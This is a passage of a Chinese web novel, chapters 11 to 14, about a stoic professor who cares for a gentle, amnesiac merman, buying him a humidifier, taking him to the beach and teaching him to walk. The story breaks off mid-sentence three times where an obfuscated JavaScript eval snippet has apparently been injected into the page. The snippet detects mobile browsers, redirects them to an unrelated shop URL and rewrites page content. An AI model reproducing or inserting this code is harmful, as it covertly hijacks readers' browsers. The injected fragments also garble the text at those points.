“……你会难受。” “那也没办法呀,你不知道会难受,我也不知道。” “……” 小人鱼懵懵观察着教授沉默的表情,忽而灵机一动,抬手凑近。 手指悬在教授交叠在膝上的手腕前。 挂在皮肤上的水珠坠下去。 在教授的指节上碎开。 尚未碰到,却已有触及。 “别担心,”小人鱼笑着说,“因为不是你的错,也不是我的错,所以没有人会受惩罚。” 没料到这孩子会这么说,关教授意外地勾了下唇角。 念西澄又补充:“我也不是坏人,不会没收你的奖励。” “……” 这话在暗示谁是坏人呢? 果然还是记上仇了。 11. 第 11 章 次日有会议要开,关路远一大早就到了基地。 大堂里,同事的其他教授们正围在一起聊着什么。 他对八卦不感兴趣,本不打算靠近,整理会议材料时,无意听到了“加湿”二字。 “这加湿器是我这去京市出差买的,我老婆之后要去西北考察,还担心皮肤会太干。我惦记着,刚好遇到新品宣传,就买了。一会儿我就寄给她。” “哇!丁教授真宠老婆啊!” “现代人是会享受啊,都研究出‘加湿器’这种日用产品了。咱以前哪有这种条件,只有做实验时要给菌落控温控湿,至于人?热着吧干着吧,没死就行。” “现在有条件了,我自己咋的都行,媳妇儿可不能受委屈……哟,关教授也对加湿器感兴趣?” 难得见关教授加入大伙儿的闲聊,众教授纷纷让开一条路。 关路远走近些,就见丁教授摆在桌上的各种新产品,其中一个大盒子标注着“加湿器”字样,大概是为了广告效果,宣传图甚至印着一条在海岸边阳光浴开加湿器的人鱼公主。 卡通风的人鱼公主无惧烈日,表情怡然自得。 关教授盯着那卡通插画,若有所思,片刻问:“这加湿器,丁教授急用吗?” “啊?” “啊?” “啊?” 不仅丁教授本人有点懵,旁听的其他人也很懵—— 关教授虽平日穿衣讲究,算得上追求生活品质的男人,但海滨城镇空气湿润,压根不需要加湿器这种东西。 也没听说这黄金单身汉最近谈恋爱,要给女朋友买这种礼物。 倒是一旁的刘川柏教授笑得意味深长,凑过来问丁教授,“看来关教授是期待丁教授割爱,把这东西让给他。” “我老婆倒是还有段时间才去西北,哪怕我再买个也来得及……”丁教授反应过来,“但关教授急用这个干嘛?” 关路远没解释要做什么用,只说:“丁教授方便的话,我想出双倍价格把现在这个买下来。” “倒也不是价钱的问题……”丁教授赔笑,“只是我已经跟我老婆说好了……” “五倍。” “……” “十倍。” 加湿器盒子被推到关教授面前。 丁教授握拳一锤肩头,作仗义状,“我老婆那边交给我解释。兄弟,你拿着东西,不用管我!” * 关路远中午回到宿舍楼时,常雨霖和石巍也刚写完了报告,吃过了午饭,正和附近刚放学的小学生在地上用红砖画格子,玩跳房子。 目睹关教授沉着脸的表情,常雨霖忙怼怼石巍,俩人当即立正站好,假装没有无所事事。 “下午跟我去基地,给其他教授打下手。”关路远拎着一个盒子,往楼梯走。 “遵命!” “收到!” 俩学生应完,注意到教授手上的东西,又好奇跟上去: “咦?教授这是买了什么回来?” “加湿器?啊!”常雨霖惊呼,“是给小鱼买的吗!” “加湿器是什么?”石巍问。 “先前在电视广告上看到过的!你还说就这点功能还敢卖这么贵!” “哦!就是那个微缩版洒水车!” “那叫加湿器!”常雨霖又跟紧关路远,“连这么贵的东西都舍得买,教授这是准备长期养小鱼了?” 关路远脚步一顿,转头看了眼常雨霖。 常雨霖心虚缩脖子,不知道自己说错了什么。 转而就听见关教授吐了句:“推论不合理。驳回。” 常雨霖:“……” 这回进入念西澄的卧室时,小人鱼已经套好了裙子。 也是和人类培养出了默契。 关教授敲门后会静候,收到信号的小人鱼就会把衣服穿好,再允许他们入内。 于是,俩学生一进屋就看到了穿着缎面奶油纹裙子的小人鱼。 小人鱼坐在床尾,迎着来客,眼睛亮晶晶的。 像极了等到主人下班的,一脸期待的小猫小狗。 看得常雨霖和石巍都心软成一片,不知不觉就化身夹子音,嗲声嗲气跟小人鱼说话: “小鱼一看就很想和我们玩!” “小鱼早上都做什么了呀?” 念西澄也没觉得俩人的声线有什么不对,自然回答:“我看窗外。” “啊?一直看窗外吗?” “也是,小鱼还不会走路,也没学会人类的娱乐方式……呃啊啊啊小鱼好可怜!” 念西澄摇头,“不可怜!有金色的小鸟飞来飞去,很漂亮。天上的云也一直在变形状,很好看。” 常雨霖:“……” 石巍:“……” 呃啊啊啊听起来更可怜了! “教授啊给小鱼买个游戏机吧!” “你就是想自己玩吧!教授依我所见,咱们得给小鱼买套漫画书!” 正在安装加湿器的关路远起身看了俩学生一眼。 俩学生安静闭嘴。 “你们不信吗?”念西澄似乎真觉得看窗外很有意思,“你们过来。” 俩学生眼见小人鱼匍匐爬到窗边,坐着,两人便也跟过去,学着坐在床头。 室内一片寂静,只传出几人的呼吸声,伴随关教授组装机器时的细微声响。 片刻,石巍按捺不住,问:“小鱼,现在既没有鸟也没有云,你又在看什么?” 念西澄转回头来,微睁双眼,表情讶异,“你们没感受到阳光吗?” “啊?” “啊?” 念西澄重新看向窗外。 冬日悬在正空的太阳,热度恰到好处。 在本凛冽的低温季节,圈出一片适宜的光,落在小人鱼的眼睫上,跳动着细碎的光点。 常雨霖一怔,收回视线,看向自己的手背。 被厚实的棉服袖子遮蔽到手腕,阳光在常年注意防晒的皮肤上,焗出一片金色的暖。 很舒服。 常雨霖突然轻轻笑起来。 好像理解猫猫为什么喜欢在太阳下伸懒腰了。 常雨霖看向念西澄,两人一起无声地笑。 旁边的石巍还在不解风情,“感受到了,然后呢?” 常雨霖轻锤他一下,“你感受了个空气!” “空气我也感受到了,然后呢?” “……” 常雨霖无语之际,还是耐心引导石巍闭眼,感受阳光在皮肤上渗透,使身体回暖的过程。 这种简单又廉价的幸福,或许是因为太过寻常,也或许因为日常生活中的干扰刺激过多,不知已被她和他忽略了多久。 此时难得捡起这种感受,连石巍也阖眼惊叹: “对诶!我怎么之前没发现,阳光居然是冰冰凉凉的?” “……那是因为教授的加湿器启动了。” “哦哦!” 正式运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205097|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作的加湿器出水口,喷出细而密的水雾。 床上的仨孩子张着嘴观察水雾的形成,皆发出没见过世面的“哇”。 “真好!这样小鱼连呼吸都能补水了!”常雨霖问念西澄,“小鱼舒服吗?” “舒服。”念西澄乖巧应道。 石巍也问:“小鱼开心吗?” “开心。”念西澄配合回应。 “理论上……”关教授适时打断,“加湿器刚开,室内含水量还没上升到能体感出差别的程度。” 常雨霖:“……” 石巍:“……” 正当俩学生为教授扫兴的理论而憋屈,祈祷上天赐灵感反驳回去时…… 就听见小人鱼开口,声音软乎乎的: “谢谢教授,我很开心。” 关路远:“……” 不是因为加湿器的存在而开心。 而是因为教授带来的礼物而开心。 常雨霖和石巍对视一眼,都憋住笑。 俩人都因为教授的短暂语塞而暗爽。 加湿器持续运作。 片刻,连糙直男石巍都感觉自己的皮肤开始水嘭嘭。 最初研发的加湿器还不具备自动感应功能,含水量合适时本该手动调到低频工作的模式,但服务对象是小人鱼,关路远还是没选择这么做。 高湿度的环境不适合人类久待,关教授准备把两个学生拎出去。 “教授!我们去基地又得一下午,小鱼一个人……一只鱼待着,也太可怜了!” “但又不能把小鱼带去基地……我们不是要对小鱼的身份保密吗?小鱼这么特别,基地里又都是大佬,指不定什么时候就被看出端倪。” “可我们不去,留下陪小鱼也不行!好久没跟着教授们实操了,我修复古物的手法都生疏了!” “教授!怎么办!” 俩学生水汪汪的眼睛齐齐看向关教授。 “你们有想法。” 关教授早已从看似为难的学生脸上,看穿了二人浅薄的心思。 “嘿嘿,还是瞒不过教授。” “教授,作为小鱼寂寞一下午的弥补,回来的时候,我们可以带小鱼出去玩吗?” 关教授微微蹙眉。 倒也不是不同意。 常雨霖和石巍作为大学生,相比与多数只愿宅在家看电视的同龄人,对“出去玩”的兴趣有点过高了,简直像是还处于探索好奇期的、就爱爬树抓虫子的小学生。 这俩自由活动还问题不大,一旦带上行动不便的念西澄,那就不一样了。 冬季天黑得快,这镇子再淳朴再安全,视线不明磕了碰了,对谁都不好。 可听到“出去玩”三个字时,床上的念西澄也有了细微的反应。 小人鱼不自知地往前蹭了两下,抬着眼睁着,满眼都是期待。 关路远:“……” 叹了口气,教授调整回状态,“除非你们工作效率足够高,回来时天还没黑。” 石巍脱口而出:“哪怕天黑,教授跟我们一起去玩,监督我们不就好了?” 关路远看了石巍一眼。 石巍自知确实蹬鼻子上脸,理亏捂嘴。 可听到“教授一起”时,床上的念西澄反应更大了。 小人鱼又往前连蹭好几下,眼神更加期待。 关路远:“……” 二度叹气,教授也没拒绝,只模棱两可丢了句: “再说吧。” 12. 第 12 章 天幕初暗。滨海岸边。 关路远抱着念西澄站着,等了二十余分钟,常雨霖和石巍才姗姗来迟。 眼看俩学生跑得气喘吁吁,说要特地换泳装所以不和关路远一道,结果穿来的还是下午那套厚实服装,关路远并不意外。 毕竟再年轻的孩子,经历过冬季低温时试着脱衣服的毒打,都会瞬间看清自己究竟有几斤几两。 关路远没追究泳衣的事,只问:“我们约好几点集合?” 石巍尴尬笑,“晚上八点。” “现在几点?” “……七点八十一分。” “……” 死一般的沉寂。 只有夕阳已逝的微凉海风,在对峙的师徒间呼啸而过。 还是被抱在怀里的小人鱼拽了拽教授的领口,天真问:“人都到了,还不能开始玩吗?” 关路远:“……” 石巍与常雨霖泪汪汪地看向小人鱼,像看到了救星。 “去吧。”关路远选择放过。 毕竟现在算是课余时间,暂时不必那般追究准时的原则问题。 “好。那小鱼……”石巍伸长双臂,准备要接。 关路远一动没动,没打算给。 对上教授并未和悦的脸色,石巍灰溜溜丢了句“不要了”,拉着常雨霖转身就跑了。 “教授,我们玩什么?”待在教授怀里的小人鱼轻声问。 关路远低头看他,也轻问:“你想玩什么?” “我想玩水。” 关路远看向海岸边。 还穿着毛衣长裤的俩学生非要在大冬天作死,把裤管卷起来,踏进冰冷的水中。 被冻得直哆嗦,尖叫着跑回岸上,等缓回神了,又试探地重新踏回水里。 再哆嗦,尖叫。循环往复。记吃不记打。 溅起的水花把裤管都打湿,回程吹了凉风,又得遭老罪。 但,确实很青春。 很有活力。 关路远又看向怀里的小人鱼,手中掂着的体温比常人略高,应当更能耐得住低水温。 且出门前他特地给人换了套短袖短裤,只在浅水区玩的话,不会把衣物打湿。 “只能玩一点点。” “嗯?嗯。” 虽然听不懂要怎么做到“只玩一点点”,但小人鱼还是乖乖答应了。 然后关教授就身体力行地演示了,怎样叫“只玩一点点”—— 即,臂弯勾着小人鱼的腋下,把人吊起来。 海浪上上下下,堪堪先没过小人鱼垂下的趾尖,随后才没过其身后男人褪了鞋袜的赤足。 这低温还算在关教授的忍耐阈值之内,教授算是受得住。 而对小人鱼来说,低温完全构不成问题,他甚至饶有兴致地探出足尖,去够那翻腾的浪面。 透着粉的趾头悬在墨蓝色的水面,被风推动的浪尖水体变得轻盈透亮,足够跃起,吻住小人鱼的趾尖。 大概是还没用这副人体好好感受过海水,小人鱼觉得有点痒,咯咯笑起来,把脚缩得悬空。 像被提溜着试探水的猫崽子,像被拎着快放进浴缸的小孩子…… 然后感觉被水咬了,扑腾着就要钻回家长怀里,拒绝洗澡。 “呵。” 念西澄感觉到后颈被喷了一道温热的呼气。 他偏头,问:“教授,你在笑我吗?” “没笑。”教授语调低沉平稳,没有笑意。 “你为什么要笑我?” “说了没笑。” 这回,声音里掺了点上扬。 小人鱼想回头仔细看看教授的表情,奈何被人架着,物理意义上地架着,再怎么扑腾也于事无补。 正僵持着,旁边传来一个轻佻的男声: “哟吼,真是稀奇。咱关教授居然也有这种闲情雅致。” 二人转头看去,只见刘川柏插兜站在岸边,细长的眼因笑意弯成眯眯眼。 “你怎么在这?” “来参观关教授退休后的幸福生活。” “……” 关路远一听刘川柏这揶揄的语气,就不打算继续聊。 可没正形的人是一定会把贱犯完的,刘川柏偏要继续说:“瞅瞅这老婆孩子热炕头的幸福生活……哦,好像还缺个老婆。” “……” “咦?刘教授!”那边石巍和常雨霖也适应了水温,远远看到刘川柏,蹬蹬蹬淌水跑过来打招呼,“刘教授晚上好!” “哎,真乖。”刘川柏应,“没你们事了,小孩玩去吧。” “好!”石巍说着,又要带着常雨霖蹬蹬蹬跑远。 “等一下。”被刘川柏叫住。 刘川柏手指凭空圈一下被关路远架着的小人鱼,“这个小孩也带走。” “好嘞!”石巍应得更欢。 关路远把念西澄在石巍背上安置好,命令不许下水,这才松了手。 一身使不完的牛劲的石巍当场背着小人鱼狂奔,逗得背上的人哈哈大笑。 后面的常雨霖喊着“你不能霸占小鱼!也让他陪我玩会儿!”,一边追了上去。 俩脱离了幼稚趣味的教授注视着“小孩们”嬉闹着跑远,虽表情没有变化,但眼神都看得出来,二人都对这种欢欣的氛围很是受用。 “把人支走,是想说什么?”关路远忽而问。 “关教授真没意思,一点废话都舍不得寒暄。” “你自己都说了是‘废话’。” “还不就是你捡来的这个小家伙么?”刘川柏睁开眼睛,笑意收敛,“镇子就这么点大,你关路远又是风云人物,‘挖掘出鲛人古国的教授真的捡到了人鱼’的传闻,很快就跑遍这镇子了。所以,我们的同僚不可能没听说。” “然后呢?” “好在,‘狼来了’的故事在镇子里演绎了太多次,加上小家伙的外形足够有说服力,同僚们都相信这次也只是镇民们因为他的美貌编造故事的行为,毕竟他除了脸,怎么看都只是个普通人类。” “你怎么想?” “我怎么想?”刘川柏伸了个懒腰,“体检报告都是我做的,我还能怎么想?” “嗯。” “不过我比较好奇,关教授你准备养这个捡来的小青年,养多久?” 关路远看向海面,一时无言。 冬季的天黑得很早,哪怕是南方临海的小镇,此时也已经黑得彻底。 一身黑衣的男人发色与眸色都深,矗立在夜幕的浅海之中,像一座风吹不动的塔。 只是这塔难以定位,无法靠近。 哪怕是近在咫尺的刘川柏,也很难读出关路远此刻的心思。 正当刘川柏准备放弃这个问题,却突然听到关路远说: “直到有人来接他。” “啊?” “嗯。” “就这样?” “嗯。” “不是……”刘川柏难以置信,抬手比划,“有人要你就给?那你大费周章给人搞个加湿器,甚至还难得用私人时间出来陪孩子玩……不图培养感情你图什么?” “维持他的生命体征罢了。” “那我要,给我吧。” 关路远转过来,悠悠瞥刘川柏一眼,“你哪位?” “……” 嘴硬。 刘川柏在心里吐槽了这么一句,可转念又意识到,或许关路远并非只是纯粹的嘴硬。 虽从未问明那小家伙的身份,但不简单的身份,一定包藏着是非。 “不过那孩子这么特别,镇子里传言都泛滥成这样了,为什么外头还能这么安静?” “静水流深。” “哈?” “或许该来的人已经来了。” 只是双方都没轻举妄动,以免打草惊蛇。 这样的念头出现在刘川柏脑海,令他更加不安,激得人打了个寒颤。 “总之你心里有数就行。好了,就不继续给你的愉快生活添堵了。我先走了。” 刘川柏手插兜款款走远,路过那仨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205098|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂奔回来的“小孩”,还悠哉抬手打了个招呼。 仨孩子都很有礼貌,点头跟刘教授致意后,又兴冲冲朝关教授跑回来。 关路远:“……” 面对不知被汗水还是海水打得全身湿透的仨人,关路远一时无语。 怎么这么像傻猫傻狗背着条傻鱼。 “说了别下水。” 关路远言尽于此。 石巍看教授脸色,一哆嗦,忙耸耸背上的救星,说: “小鱼有东西要给您。” 关路远的视线抬起,从石巍脸上,转移到念西澄的脸上。 就见一臂挂在石巍肩上的小人鱼,小心伸出蜷在胸前的一条手臂,将手中攥着的一个油纸包递到关路远面前。 关路远接过油纸包,打开,赫然发现里头躺着半个海蛎饼。 这是滨镇当地的特色美食,切碎的生菜胡萝卜等裹着肉馅和虾仁牡蛎,包上一层米浆和黄豆粉浆,在油中炸得酥脆金黄。 关教授手中这半块还相当热乎,内里的菜叶油亮,散发着诱人的香气。 “哪来的?”关路远抬眸。 石巍解释:“教授还记得第一个捡到小鱼的那个胖婶婶吗?” “嗯。” “她刚才在海边那个小渔屋里炸海蛎饼。我们路过,她看到小鱼,特别喜欢,就送小鱼一块。我俩沾光,也都被塞了一块,嘿嘿。” “那这半块是……” “小鱼一直到我们离开屋子都没吃,我问他为什么,他说……” 说到这里,石巍故弄玄虚拖长语调,对上教授古井无波的表情,悻悻收了神通,说出答案: “……小鱼说教授没有。我们都有,教授也要有。” 关路远眼眸很明显地亮了一下。 或许出于讶异,或许出于惊喜。 他看向念西澄,小人鱼也看回他。 没有寻常人类示好被揭晓时,出于各种心思,试图遮掩的羞怯。 而是坦坦荡荡地看回来。 或许在人鱼族看来,心系一个人,想对一个人好,不是需要隐瞒的心事。 “小鱼都被香得直咽口水了,不吃怎么行!所以,我们就把这个掰成两半。他已经吃过啦,剩下的是小鱼特地留给教授的。”石巍补充。 关路远深吸一口气,开口时,语调依旧镇定。 他问念西澄,“还想吃吗?” 念西澄诚实点头。 关路远把这半块递回去。 念西澄却摇头。 让关路远想到了有些人养的小猫。 小猫不知道主人可以挣钱买更好的食物,也不知道主人其实不吃猫粮…… 小猫抓到老鼠还是会当成礼物送给主人,虽然在主人看来这行为又气又好笑。 小鱼也是。 小鱼不知道教授有足够的资产买更贵的食物,也不知道教授或许为了健身压根不吃油炸食品…… 但小鱼现在只有这么块海蛎饼,这就是他的全部。 他愿意把他的全部,分一半给教授。 “来。” 关路远攥着油纸包,展开双臂朝向石巍,示意要人。 石巍背着念西澄往后避了避,还舍不得呢,“再玩一会儿……” “来。”关路远并不解释,只重复指令。 压迫感拉满。 石巍自知理亏,小鱼跟着教授时确实干干爽爽,就是跟着自己才湿透了的,加上教授的威严不容置疑,只好转身把念西澄放回教授手臂上。 念西澄也配合,顺势就滚进教授怀中,习以为常地被横抱着。 关路远把那油纸包塞回念西澄怀里,正想说“你吃吧”…… 念西澄却已经把油纸包打开,双手捧着那半块饼,递到了关路远嘴边。 酥饼和内馅透着油香。 小人鱼的眼眸映着海月的明光。 戒油炸一年有余的关教授,目睹眼前画面,一言不发…… ……最后还是低头咬了小人鱼喂的油饼一口。 13. 第 13 章 剩下的海蛎饼,还是被关教授圆滑地推脱,成功让小人鱼吃掉了。 念西澄餍足地舔掉唇上的油色,还意犹未尽。 关路远看着他的表情,想起方才咬进嘴里那一口。 高热量的食物是人类刻在基因里的渴求。 因而连自律的关教授也不得不承认,刚才那口,味道确实不错。 跟着石巍运动完,又吃了好吃的,念西澄有点犯困。 关路远便找了块大礁石,将人放上去,和人并肩坐着。 稍远处,石巍和常雨霖也不撒丫子狂奔了,只踩着水散步,在月下平和地聊天。 关路远喜静,念西澄记忆太少,也不太有话说,两人就安静地坐着。 夜色沉静。 晚风不知吹进哪块礁岩,形成埙一般的笛音,又像是遥远的低鸣。 听着听着,小人鱼的脑袋就开始一坠一坠。 关路远隐约察觉,偏过头去看,也恰好就是这一瞬间,念西澄的身体也歪了过来。 直接靠在了教授的身侧。 脑袋枕在关路远的肩上,念西澄闭着眼睛睡着了。 浓而长的睫毛在月光下轻颤。 看得关路远呼吸一滞。 转瞬,关教授回过神来,肩头动了动,试图把人晃醒。 小人鱼嘤咛两声,不舒服地皱皱眉,挪挪脑袋,换了个角度,准备继续入睡…… 结果因为重心偏移,他身子往后一仰,就要倒下去。 被关路远眼疾手快搂住了腰。 揽了回来。 关路远:“……” 小人鱼呼吸平稳,睡得安详。 关教授只能用手腕别扭地扣住人的腰,以免手指碰到不该碰的地方。 好细的腰。 先前不管是抱着还是扛着,肢体接触的大多是肩背和大腿。 这是关路远的手,第一次摸到念西澄的腰上。 幸而晚风冰凉,足以吹散脸颊泛起的那点微不足道的热。 关教授继续轻晃怀里的人,放低声音轻道: “醒醒。你身上湿了,在外面睡会着凉。” 低沉的嗓音也很助眠。 念西澄迷迷糊糊间只辨认出这是教授在跟自己说话,便根据平日的习惯作出了反应—— 将两条手臂绕上关教授的肩颈。 以为又要被教授抱走了。 眼也不睁就往人怀里钻。 关路远:“……” 这种等级的防备,大概属于被抱走卖掉,这小子还会说谢谢你抱我的程度。 “念西澄,睁眼。” “唔……” “回去再睡。” “嗯……” 句句有回应。 就是不睁眼。 关教授叹一口气,拿这条赖皮鱼没办法,只得顺势把人抱起来。 恰好那边俩学生也散够了步,往教授这边走。 “教授!”石巍笑着打招呼,“海风太舒服了,我都舍不得回去了。” 关路远淡然道:“严谨点。” “啊?” 教授旋腕看表,“现在过十点了。” “……”石巍反应过来,“海……边的陆风,太舒服了。” 因为白天吹海风,晚上吹陆风。 “嗯。”关教授带路往停车场走,“回去记得泡热水澡。” “谢谢教授提醒。” 俩学生毕恭毕敬跟在教授背后,暗地里又在编排: 服了。关教授单身一辈子吧! 人家漫步海边,心想月色真美,他搁那惦记海陆风比热容。 * 小人鱼有了个人类的名字。 这个名字是一个不爱笑的男人送给他的。 念西澄。 他很喜欢这个名字。 和他人鱼时的本名很像。 只不过,关于人鱼身份的一切,他几乎都不记得了。 甚至他也不明白,为什么自己一睁眼,自己就莫名会说人类的语言,身体也变得和人类无异。 顶着人类的名字,披着人类的外表,说着人类的话语,可他却只觉得与周遭格格不入。 他莫名确信自己不是人类,而是人鱼。 他在观察人类,人类也在观察他。 这种观察会带来疏离感,以至于个体无法产生对群体的归属感。 什么时候会有一点点安全感呢? 对,大概就像现在这样—— 像是被温热的洋流包裹着,身体随着波浪轻轻摇晃。 让他依稀找回刻在封存记忆里的深海的触感。 深海并不安静。 能感应到的其他物种的声音波纹,以及活跃的地质运动,就像现在一样喋喋不休。 但好像,没有现在的声音这么好听? “念……西澄,到……家了。” “唔……” 他呜咽两声,觉得有点吵,有点刺眼,就往温热的洋流深处躲了躲。 那深海的噪音并不消停: “你还洗不洗澡了?” “唔,洗……”他迷迷糊糊应。 “你还睡着要怎么洗?总不能我给你洗?” 他的意识在深海和现实中反复抽离,他有种预感,再多说几句话,他就要离开令自己安心的海域了。 他眷恋这点安全感,不想醒来,便胡乱敷衍,“好。” 那深海的噪音平息了许久。 正当他以为可以安心回到海底时…… 深海的噪音突然具象化为一个男人无情的声音—— “数三下,再不醒,今晚不洗澡了。三、二……” 念西澄猛地睁眼。 大脑还没开机,嘴巴先下意识说: “洗!” 什么深不深海的,都没有洗澡重要! * 因为浸过海水,又吹了夜风,哪怕是体温较人类稍高的小人鱼,皮肤也略感冰凉。 也正因此,关路远放洗澡水时,特地把水温调热了几度。 果然,进水后的念西澄,满足的表情比过往更甚。 被脱了一地的衬衫短裤湿漉漉的,被海水和沙子填得有点沉。 站在浴缸外的关教授,大概是抱了小人鱼一路,无氧力量训练做得太过充分,乳酸堆积过多导致肌肉酸痛,活动了下肩肘关节,才弯腰面无表情把脏衣服捡了出去。 小人鱼在热水里游了会儿,注意到男人走出浴室的背影,停了下来,抬臂伏在浴缸边。 他记起那位教授抱自己时的肌肉变化。 有时关教授会把毛衣的袖子折上去,骨节分明的手指慢条斯理地把布料叠起来,将突出的腕骨和小臂各处伸肌线条缓缓展露。 很漂亮的线条。 有时在户外,关教授就不会撸袖子,但抱起他时还是走得很稳。 念西澄会把头枕在教授被衣物包裹着的三角肌与胸大肌的部位。 很饱满很结实的触感。 大概是刻在深海种族基因里对健美体格的偏爱,让念西澄依旧保有这样的审美。 他想:关教授个头那么高,肌肉那么大,如果有尾巴,应该也会是一条很大很长的尾巴。 凭教授的智慧,称霸一方海域、建立新部族的文明也不成问题,完全能成为人鱼历史里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小鱼适应人类社会的第一节课,居然想学做家务!好乖!” “多好的孩子呀!但小鱼第一次学习用工具,怎么能学洗衣机呢?至少也要先学会看电视!” 俩学生一直惦记着小人鱼独自待着会寂寞的情况,此时恰好念西澄提出愿意研究机器,常雨霖和石巍二话不说就想先解决这个心头之患。 石巍当即把念西澄背去了小客厅,把厚重的台式黑盒子启动给小人鱼看。 黑盒子正中画面闪出音像时,小人鱼还被吓了一跳。 他想问盒子里为什么关了那么多人,一扭头就看到常雨霖和石巍在争夺遥控器,针对“要看动画片还是看球赛”的问题吵了起来。 小人鱼被一时忽略。 他想,两个小人类应该在商量大事,要不怎么会表情那么严肃? 他想,那我就先看看这个黑盒子里的超级小人类们在干什么吧! 于是,念西澄默默看完了一整集讲述“老公意外下肢瘫痪,女主决定照顾不离不弃”的感人家庭伦理剧。 他惊觉:原来人类之间存在如此高尚的感情与纯粹的关系。 于是,中午关教授下班回家,来次卧例行公事看一眼小人鱼。 刚只是打开门,关教授就听见床上的小人鱼脆生生问: “关教授,你想要老公吗?” 关路远抬眸,“?” 14. 第 14 章 冷静坐下,听小人鱼用不算丰富的词汇,磕磕绊绊描述完昨天的想法和今天的经历后,关路远理清了问题的关键。 但该纠正的观念还是要纠正,关路远说: “你所说的不离不弃情节之所以被拍成剧集,是因为那样的故事在人间稀少,且宣扬的价值观符合当代普世价值观所以值得宣传。你之所以看着感人,是因为镜头调度和音乐渲染,加上演员的演技配合……” 小人鱼眼神呆滞。 关教授总结:“……人类的关系不全是那样的。夫妻一方大难临头,另一方明哲保身的,比比皆是。” “哦。”小人鱼似懂非懂。 “因此,你不能和我建立这样的关系,来换取我对你的照顾。” 小人鱼听懂了“不能”,转而问: “那关教授,我当老婆……” “也不能。” “哦。” 关路远不动声色叹出一口气,继续说:“虽然人类社会存在用婚姻关系换取资源的现象,但既然此时教育你的是我,我建议你不要这么做。” “嗯?”念西澄抬眼看教授。 关路远说得更明确,“不要因为别人对你好,就跟别人结婚。” 那集伦理剧的回忆杀有女主和丈夫办婚礼的场面,念西澄听得懂“结婚”的意思,就问: “那怎样才能结婚?” 这个问题问得关路远一怔。 如果在场的是常雨霖或石巍,或是任何一个谈过恋爱的学生,都可能纯粹而热烈地答出“遇到相爱的人就可以结婚”。 但现在面对这个问题的,是关路远。 是明知所谓“标准答案”应该是什么,却自己都没相信过这种可能的关路远。 于是他垂眸,淡然道:“等你学会了人类的规则,你会有自己的答案。” “好。”教授说以后会有,小人鱼就相信会有,又问,“那我什么时候可以学人类的规则?” 这回教授回答得很利落,“你先学会走路。” 床上的念西澄闻言,动了动脚趾。 大概是久未活动的肌肉变得酸麻,加之人鱼大脑没有调动腿部神经的相关经验,念西澄疼得皱了皱眉。 他可怜兮兮地看向关路远,“我不能先学会用那个……洗衣机,吗?” 笨拙地复述从常雨霖那儿学来的专有名词。 关路远直视小人鱼可怜兮兮的表情,仍旧波澜不惊,“为什么我宁愿自己动手,也没先教你怎么用洗衣机?” “为什么?” “自己想。” “唔……” 念西澄便开始设想,假如自己会用洗衣机了…… 每天快乐地洗完澡后,就可以被教授抱着去洗衣机前面,把衣服放进去。 然后被抱走。 等洗衣机洗好了,再被教授抱着去烘干机面前,把衣服放进去。 然后被抱走。 等烘干机烘干了,再被教授抱…… 哦。 念西澄懂了。 教授得一直抱着他。 本来负重只有衣物,教会了念西澄用洗衣机,反倒负重多了这么个人。 关路远也从念西澄表情看出,这人鱼应该是想明白了,说: “所以你也不必认为我是在照顾你或对你好。我只是权衡利弊后,选择了对我更轻松的方式。” 这回,小人鱼反倒成了坚定的那个。 他摇头,笃定道:“教授就是对我很好。” 关路远微怔。 念西澄继续说:“教授可以不管我,但还是把我捡回来了。教授可以让我被关监狱,但还是教我穿衣服。教授可以只让我泡在水里,但还是给我买这个……” 小人鱼看向房间里吐水雾的机器,不知道它叫什么名字。 关路远:“加湿器。” “嗯,加湿器。”念西澄把话补完,“所以,教授不是为了轻松,教授就是对我很好。” 关路远没说话。 念西澄回视关路远,被教授并无波澜的目光看得疑惑,歪了歪头。 关路远收回视线,垂眸,抬手毫无意义地掩了下唇,轻咳两声,说: “总之。接受人类教育的前提是,你要先学会走路。” “哦……” 念西澄点头,随即抬头。 因为他目光正追随着关路远,而关教授此刻起身要走。 “关教授要走了吗?那我什么时候学走路?” “我会安排。” 说完这句话,关路远就加快脚步走出了小人鱼的房间。 关上房门后,门外的关路远才微微蹙起眉头。 他略感疑惑: 我是否确实照顾那小子照顾得太过自然了? * 关教授所说的安排,就是腾了石巍和常雨霖的一天,安排他俩来教念西澄学走路。 很显然,小人鱼第一次接受人类的课程,他没打算亲自上场,让小人鱼领略极致苛刻的教育方式。 只可惜,作为学生的石巍和常雨霖第一次当老师,心肠太软。 只是当天傍晚,俩新晋教师就哀嚎着向关教授求助,自称搞不定小鱼。 “你们怎么教的?”刚下班的关路远正在洗手台前搓泡沫,将手洗干净,同时镇定问。 围在教授身边的俩菜鸟你一言我一语: “石巍搀扶,我示范姿势。” “但是我刚把小鱼拎起来,他脚一沾地,就直喊疼!” “我们想他没走过路,腿脚肌肉都没激活,就打算轮流给他按摩……” “按摩他也疼!只要碰脚底他就疼!” 